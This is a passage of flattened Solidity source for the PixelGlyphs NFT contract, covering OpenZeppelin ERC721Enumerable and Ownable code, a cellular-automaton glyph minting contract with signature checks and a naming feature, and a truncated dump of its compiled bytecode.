_ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/PixelGlyphs.sol pragma solidity >=0.4.22 <0.9.0; /** PPPPPPPPPPPPPPPPP iiii lllllll lllllll hhhhhhh P::::::::::::::::P i::::i l:::::l l:::::l h:::::h P::::::PPPPPP:::::P iiii l:::::l l:::::l h:::::h PP:::::P P:::::P l:::::l l:::::l h:::::h P::::P P:::::Piiiiiii xxxxxxx xxxxxxx eeeeeeeeeeee l::::l ggggggggg gggggl::::lyyyyyyy yyyyyyyppppp ppppppppp h::::h hhhhh ssssssssss P::::P P:::::Pi:::::i x:::::x x:::::xee::::::::::::ee l::::l g:::::::::ggg::::gl::::l y:::::y y:::::y p::::ppp:::::::::p h::::hh:::::hhh ss::::::::::s P::::PPPPPP:::::P i::::i x:::::x x:::::xe::::::eeeee:::::eel::::l g:::::::::::::::::gl::::l y:::::y y:::::y p:::::::::::::::::p h::::::::::::::hh ss:::::::::::::s P:::::::::::::PP i::::i x:::::xx:::::xe::::::e e:::::el::::l g::::::ggggg::::::ggl::::l y:::::y y:::::y pp::::::ppppp::::::ph:::::::hhh::::::h s::::::ssss:::::s P::::PPPPPPPPP i::::i x::::::::::x e:::::::eeeee::::::el::::l g:::::g g:::::g l::::l y:::::y y:::::y p:::::p p:::::ph::::::h h::::::h s:::::s ssssss P::::P i::::i x::::::::x e:::::::::::::::::e l::::l g:::::g g:::::g l::::l y:::::y y:::::y p:::::p p:::::ph:::::h h:::::h s::::::s P::::P i::::i x::::::::x e::::::eeeeeeeeeee l::::l g:::::g g:::::g l::::l y:::::y:::::y p:::::p p:::::ph:::::h h:::::h s::::::s P::::P i::::i x::::::::::x e:::::::e l::::l g::::::g g:::::g l::::l y:::::::::y p:::::p p::::::ph:::::h h:::::hssssss s:::::s PP::::::PP i::::::i x:::::xx:::::xe::::::::e l::::::lg:::::::ggggg:::::gl::::::l y:::::::y p:::::ppppp:::::::ph:::::h h:::::hs:::::ssss::::::s P::::::::P i::::::i x:::::x x:::::xe::::::::eeeeeeee l::::::l g::::::::::::::::gl::::::l y:::::y p::::::::::::::::p h:::::h h:::::hs::::::::::::::s P::::::::P i::::::i x:::::x x:::::xee:::::::::::::e l::::::l gg::::::::::::::gl::::::l y:::::y p::::::::::::::pp h:::::h h:::::h s:::::::::::ss PPPPPPPPPP iiiiiiiixxxxxxx xxxxxxx eeeeeeeeeeeeee llllllll gggggggg::::::gllllllll y:::::y p::::::pppppppp hhhhhhh hhhhhhh sssssssssss g:::::g y:::::y p:::::p gggggg g:::::g y:::::y p:::::p g:::::gg gg:::::g y:::::y p:::::::p g::::::ggg:::::::g y:::::y p:::::::p gg:::::::::::::g yyyyyyy p:::::::p ggg::::::ggg ppppppppp gggggg ################################################################################ ################################################################################ ################################################################################ ################################################################################ ################################################################################ ################################################################################ ##############################((((((((((((((((((((############################## ##############################((((((((((((((((((((############################## ####################((((((((((####################((((((((((#################### ####################((((((((((####################((((((((((#################### ###############(((((#####(((((####################(((((#####(((((############### ###############(((((#####(((((####################(((((#####(((((############### ###############(((((##########(((((##########(((((##########(((((############### ###############(((((##########(((((##########(((((##########(((((############### ###############(((((##########(((((##########(((((##########(((((############### ###############(((((##########(((((##########(((((##########(((((############### ####################((((((((((####################((((((((((#################### ####################((((((((((####################((((((((((#################### ###############(((((##########((((((((((((((((((((##########(((((############### ###############(((((##########((((((((((((((((((((##########(((((############### ###############(((((###############((((((((((###############(((((############### ###############(((((###############((((((((((###############(((((############### ####################(((((((((((((((##########(((((((((((((((#################### ####################(((((((((((((((##########(((((((((((((((#################### ###################################((((((((((################################### ###################################((((((((((################################### ################################################################################ ################################################################################ ################################################################################ ################################################################################ ################################################################################ ################################################################################ 10,000 on-chain avatar NFTs created using a cellular automaton. A cellular automaton consists of a regular grid of cells, each in one of a finite number of states, such as on and off. The grid can be in any finite number of dimensions. For each cell, a set of cells called its neighborhood is defined relative to the specified cell. An initial state (time t = 0) is selected by assigning a state for each cell. A new generation is created (advancing t by 1), according to some fixed rule (generally, a mathematical function) that determines the new state of each cell in terms of the current state of the cell and the states of the cells in its neighborhood. Typically, the rule for updating the state of cells is the same for each cell and does not change over time, and is applied to the whole grid simultaneously. https://pixelglyphs.io */ contract PixelGlyphs is ERC721Enumerable, Ownable { using ECDSA for bytes32; uint256 spriteSize = 10; uint256 globalId = 0; address SIGNER; uint256 public PRICE_PER_MINT = 0.009 ether; uint256 public PRICE_PER_NAME = 0.0025 ether; string BASE_URI; uint256 public namingBlockStart; uint256 public namingBlockEnd; mapping(uint256 => string) public names; constructor(address signer, string memory baseUri) ERC721("PixelGlyphs", "PxG") { SIGNER = signer; BASE_URI = baseUri; } event Created( uint256 indexed tokenId, uint256[5][10] glyph, uint256[3][3] colors ); event Named(uint256 indexed tokenId, string name); function nameGlyph(uint256 tokenId, string memory name) public payable { require(msg.value == PRICE_PER_NAME); require(ownerOf(tokenId) == msg.sender); require(block.number >= namingBlockStart && block.number <= namingBlockEnd); names[tokenId] = name; emit Named(tokenId, name); } // This will begin The Great Naming Ceremony function setNamingBlock(uint256 blockNumber) public onlyOwner { require(namingBlockStart == 0, "PxG: Naming ceremony has already begun"); namingBlockStart = blockNumber; // The Great Naming Ceremony will last approximately 5 days namingBlockEnd = blockNumber + (6357 * 3); } function _mintInternal( uint256[] memory seed, uint256[] memory cSeed, bytes32 uuid, uint256 timestamp, bytes memory sig, address to ) internal { bytes32 hash = keccak256(abi.encodePacked(seed, cSeed, timestamp, uuid)); require( hash.toEthSignedMessageHash().recover(sig) == SIGNER, "PxG: Invalid signature" ); require(globalId < 10000, "PxG: All glyphs minted"); uint256[5][10] memory matrix; for (uint256 i = 0; i < spriteSize; i++) { uint256[5] memory row; matrix[i] = row; if (i == 0 || i == spriteSize - 1) continue; row[0] = 0; for (uint256 j = 1; j < row.length; j++) { row[j] = seed[i * row.length + j] % 2; } } for (uint256 index = 0; index < 2; index++) { matrix = step(matrix); } uint256[3][3] memory colors; for (uint256 i = 0; i < colors.length; i++) { for (uint256 j = 0; j < colors[i].length; j++) { colors[i][j] = cSeed[i * 3 + j] % 255; } } _safeMint(to, ++globalId); emit Created(globalId, matrix, colors); } function mintTo( uint256[] memory seed, uint256[] memory cSeed, bytes32 uuid, uint256 timestamp, bytes memory sig, address to ) public onlyOwner { _mintInternal(seed, cSeed, uuid, timestamp, sig, to); } function setBaseUri(string memory baseUri) public onlyOwner { BASE_URI = baseUri; } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function mint( uint256[][] memory seeds, uint256[][] memory cSeeds, bytes32[] memory uuids, uint256 timestamp, bytes[] memory sigs ) public payable { require(seeds.length == cSeeds.length, "PxG: Arrays do not match"); require(uuids.length == seeds.length, "PxG: Arrays do not match"); require(sigs.length == seeds.length, "PxG: Arrays do not match"); require(msg.value == PRICE_PER_MINT * seeds.length, "PxG: Incorrect value"); require(block.timestamp <= timestamp + 6 hours); for (uint256 i = 0; i < seeds.length; i++) { _mintInternal( seeds[i], cSeeds[i], uuids[i], timestamp, sigs[i], msg.sender ); } } mapping(address => uint256) public equipped; event Equip(address indexed owner, uint256 tokenId); function equip(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, "PxG: Must be owner to equip"); equipped[msg.sender] = tokenId; emit Equip(msg.sender, tokenId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); if (equipped[from] == tokenId) { delete equipped[from]; emit Equip(msg.sender, 0); } } function countNeighbors( uint256[5][10] memory matrix, uint256 x, uint256 y ) internal pure returns (uint256) { uint256 count = 0; // check left if (matrix[y][x - 1] > 0) { count++; } // check right if (x < matrix[y].length - 1 && matrix[y][x + 1] > 0) { count++; } // check top if (y > 0 && matrix[y - 1][x] > 0) { count++; } // check bottom if (y < matrix.length - 1 && matrix[y + 1][x] > 0) { count++; } return count; } function step(uint256[5][10] memory prev) internal pure returns (uint256[5][10] memory) { uint256[5][10] memory next; uint256 size = prev.length; for (uint256 y = 0; y < size; y++) { uint256[5] memory row; next[y] = row; if (y == 0 || y == size - 1) continue; row[0] = 0; for (uint256 x = 1; x < row.length; x++) { uint256 n = countNeighbors(prev, x, y); row[x] = prev[y][x] == 0 ? (n <= 1 ? 1 : 0) : n == 2 || n == 3 ? 1 : 0; } } return next; } function withdraw(address sendTo) public onlyOwner { uint256 balance = address(this).balance; payable(sendTo).transfer(balance); } function updateSigner(address signer) public onlyOwner { SIGNER = signer; } function updatePricePerMint(uint256 price) public onlyOwner { PRICE_PER_MINT = price; } function setGenerationString(bytes calldata str) public onlyOwner {} }
0x6080604052600436106102345760003560e01c806370a082311161013857806395d89b41116100b0578063b85f80271161007f578063c87b56dd11610064578063c87b56dd146107dd578063e985e9c51461081a578063f2fde38b1461085757610234565b8063b85f80271461078b578063b88d4fde146107b457610234565b806395d89b41146106e5578063a0bcfc7f14610710578063a22cb46514610739578063a7ecd37e1461076257610234565b806386b8703b116101075780638d4edb0a116100ec5780638d4edb0a146106645780638da5cb5b1461068f57806394b29423146106ba57610234565b806386b8703b146106105780638c7cb41e1461063b57610234565b806370a0823114610568578063715018a6146105a5578063758e8fb5146105bc5780637c2fbe09146105e757610234565b80632f745c59116101cb5780634a66458a1161019a57806351cff8d91161017f57806351cff8d9146104e657806353c981311461050f5780636352211e1461052b57610234565b80634a66458a1461046c5780634f6ccce7146104a957610234565b80632f745c59146103a057806342842e0e146103dd5780634622ab031461040657806348e629df1461044357610234565b806318160ddd1161020757806318160ddd1461030757806323b872dd14610332578063244574c01461035b5780632a9dcd091461037757610234565b806301ffc9a71461023957806306fdde0314610276578063081812fc146102a1578063095ea7b3146102de575b600080fd5b34801561024557600080fd5b50610260600480360381019061025b91906144ec565b610880565b60405161026d919061548c565b60405180910390f35b34801561028257600080fd5b5061028b6108fa565b6040516102989190615507565b60405180910390f35b3480156102ad57600080fd5b506102c860048036038101906102c391906145c4565b61098c565b6040516102d591906153fa565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190614308565b610a11565b005b34801561031357600080fd5b5061031c610b29565b60405161032991906158a9565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190614202565b610b36565b005b61037560048036038101906103709190614344565b610b96565b005b34801561038357600080fd5b5061039e6004803603810190610399919061441b565b610e01565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190614308565b610e93565b6040516103d491906158a9565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff9190614202565b610f38565b005b34801561041257600080fd5b5061042d600480360381019061042891906145c4565b610f58565b60405161043a9190615507565b60405180910390f35b34801561044f57600080fd5b5061046a600480360381019061046591906145c4565b610ff8565b005b34801561047857600080fd5b50610493600480360381019061048e919061419d565b61107e565b6040516104a091906158a9565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb91906145c4565b611096565b6040516104dd91906158a9565b60405180910390f35b3480156104f257600080fd5b5061050d6004803603810190610508919061419d565b61112d565b005b610529600480360381019061052491906145ed565b6111f9565b005b34801561053757600080fd5b50610552600480360381019061054d91906145c4565b6112c8565b60405161055f91906153fa565b60405180910390f35b34801561057457600080fd5b5061058f600480360381019061058a919061419d565b61137a565b60405161059c91906158a9565b60405180910390f35b3480156105b157600080fd5b506105ba611432565b005b3480156105c857600080fd5b506105d16114ba565b6040516105de91906158a9565b60405180910390f35b3480156105f357600080fd5b5061060e6004803603810190610609919061453e565b6114c0565b005b34801561061c57600080fd5b50610625611540565b60405161063291906158a9565b60405180910390f35b34801561064757600080fd5b50610662600480360381019061065d91906145c4565b611546565b005b34801561067057600080fd5b50610679611625565b60405161068691906158a9565b60405180910390f35b34801561069b57600080fd5b506106a461162b565b6040516106b191906153fa565b60405180910390f35b3480156106c657600080fd5b506106cf611655565b6040516106dc91906158a9565b60405180910390f35b3480156106f157600080fd5b506106fa61165b565b6040516107079190615507565b60405180910390f35b34801561071c57600080fd5b5061073760048036038101906107329190614583565b6116ed565b005b34801561074557600080fd5b50610760600480360381019061075b91906142cc565b611783565b005b34801561076e57600080fd5b506107896004803603810190610784919061419d565b611904565b005b34801561079757600080fd5b506107b260048036038101906107ad91906145c4565b6119c4565b005b3480156107c057600080fd5b506107db60048036038101906107d69190614251565b611acf565b005b3480156107e957600080fd5b5061080460048036038101906107ff91906145c4565b611b31565b6040516108119190615507565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c91906141c6565b611bd8565b60405161084e919061548c565b60405180910390f35b34801561086357600080fd5b5061087e6004803603810190610879919061419d565b611c6c565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108f357506108f282611d64565b5b9050919050565b60606000805461090990615d23565b80601f016020809104026020016040519081016040528092919081815260200182805461093590615d23565b80156109825780601f1061095757610100808354040283529160200191610982565b820191906000526020600020905b81548152906001019060200180831161096557829003601f168201915b5050505050905090565b600061099782611e46565b6109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd90615769565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a1c826112c8565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8490615809565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610aac611eb2565b73ffffffffffffffffffffffffffffffffffffffff161480610adb5750610ada81610ad5611eb2565b611bd8565b5b610b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1190615689565b60405180910390fd5b610b248383611eba565b505050565b6000600880549050905090565b610b47610b41611eb2565b82611f73565b610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d90615849565b60405180910390fd5b610b91838383612051565b505050565b8351855114610bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd190615669565b60405180910390fd5b8451835114610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590615669565b60405180910390fd5b8451815114610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990615669565b60405180910390fd5b8451600e54610c719190615bb6565b3414610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990615829565b60405180910390fd5b61546082610cc09190615b2f565b421115610ccc57600080fd5b60005b8551811015610df957610de6868281518110610d14577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151868381518110610d55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151868481518110610d96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015186868681518110610dd8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151336122ad565b8080610df190615d55565b915050610ccf565b505050505050565b610e09611eb2565b73ffffffffffffffffffffffffffffffffffffffff16610e2761162b565b73ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7490615789565b60405180910390fd5b610e8b8686868686866122ad565b505050505050565b6000610e9e8361137a565b8210610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690615569565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610f5383838360405180602001604052806000815250611acf565b505050565b60136020528060005260406000206000915090508054610f7790615d23565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa390615d23565b8015610ff05780601f10610fc557610100808354040283529160200191610ff0565b820191906000526020600020905b815481529060010190602001808311610fd357829003601f168201915b505050505081565b611000611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661101e61162b565b73ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90615789565b60405180910390fd5b80600e8190555050565b60146020528060005260406000206000915090505481565b60006110a0610b29565b82106110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890615869565b60405180910390fd5b6008828154811061111b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b611135611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661115361162b565b73ffffffffffffffffffffffffffffffffffffffff16146111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090615789565b60405180910390fd5b60004790508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156111f4573d6000803e3d6000fd5b505050565b600f54341461120757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16611227836112c8565b73ffffffffffffffffffffffffffffffffffffffff161461124757600080fd5b601154431015801561125b57506012544311155b61126457600080fd5b8060136000848152602001908152602001600020908051906020019061128b929190613c89565b50817f9726e950b835e1f7f4fe747cca4223de678452a4f67c102d50408e22e94e9485826040516112bc9190615507565b60405180910390a25050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611368906156c9565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e2906156a9565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61143a611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661145861162b565b73ffffffffffffffffffffffffffffffffffffffff16146114ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a590615789565b60405180910390fd5b6114b86000612773565b565b60125481565b6114c8611eb2565b73ffffffffffffffffffffffffffffffffffffffff166114e661162b565b73ffffffffffffffffffffffffffffffffffffffff161461153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390615789565b60405180910390fd5b5050565b600e5481565b61154e611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661156c61162b565b73ffffffffffffffffffffffffffffffffffffffff16146115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b990615789565b60405180910390fd5b600060115414611607576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fe90615889565b60405180910390fd5b80601181905550614a7f8161161c9190615b2f565b60128190555050565b600f5481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606001805461166a90615d23565b80601f016020809104026020016040519081016040528092919081815260200182805461169690615d23565b80156116e35780601f106116b8576101008083540402835291602001916116e3565b820191906000526020600020905b8154815290600101906020018083116116c657829003601f168201915b5050505050905090565b6116f5611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661171361162b565b73ffffffffffffffffffffffffffffffffffffffff1614611769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176090615789565b60405180910390fd5b806010908051906020019061177f929190613c89565b5050565b61178b611eb2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f090615609565b60405180910390fd5b8060056000611806611eb2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166118b3611eb2565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516118f8919061548c565b60405180910390a35050565b61190c611eb2565b73ffffffffffffffffffffffffffffffffffffffff1661192a61162b565b73ffffffffffffffffffffffffffffffffffffffff1614611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790615789565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166119e4826112c8565b73ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906157a9565b60405180910390fd5b80601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f9bc69fd0e63231957daa6abe5af60a488ed6d7b33dc6be78443b607e672d952c82604051611ac491906158a9565b60405180910390a250565b611ae0611ada611eb2565b83611f73565b611b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1690615849565b60405180910390fd5b611b2b84848484612839565b50505050565b6060611b3c82611e46565b611b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b72906157e9565b60405180910390fd5b6000611b85612895565b90506000815111611ba55760405180602001604052806000815250611bd0565b80611baf84612927565b604051602001611bc09291906153b0565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611c74611eb2565b73ffffffffffffffffffffffffffffffffffffffff16611c9261162b565b73ffffffffffffffffffffffffffffffffffffffff1614611ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdf90615789565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f906155a9565b60405180910390fd5b611d6181612773565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611e2f57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611e3f5750611e3e82612ad4565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611f2d836112c8565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611f7e82611e46565b611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb490615649565b60405180910390fd5b6000611fc8836112c8565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061203757508373ffffffffffffffffffffffffffffffffffffffff1661201f8461098c565b73ffffffffffffffffffffffffffffffffffffffff16145b8061204857506120478185611bd8565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612071826112c8565b73ffffffffffffffffffffffffffffffffffffffff16146120c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120be906157c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e906155e9565b60405180910390fd5b612142838383612b3e565b61214d600082611eba565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461219d9190615c10565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121f49190615b2f565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000868685876040516020016122c6949392919061536a565b604051602081830303815290604052805190602001209050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166123328461232484612c28565b612c5890919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff1614612388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237f90615729565b60405180910390fd5b612710600c54106123ce576040517f08c379a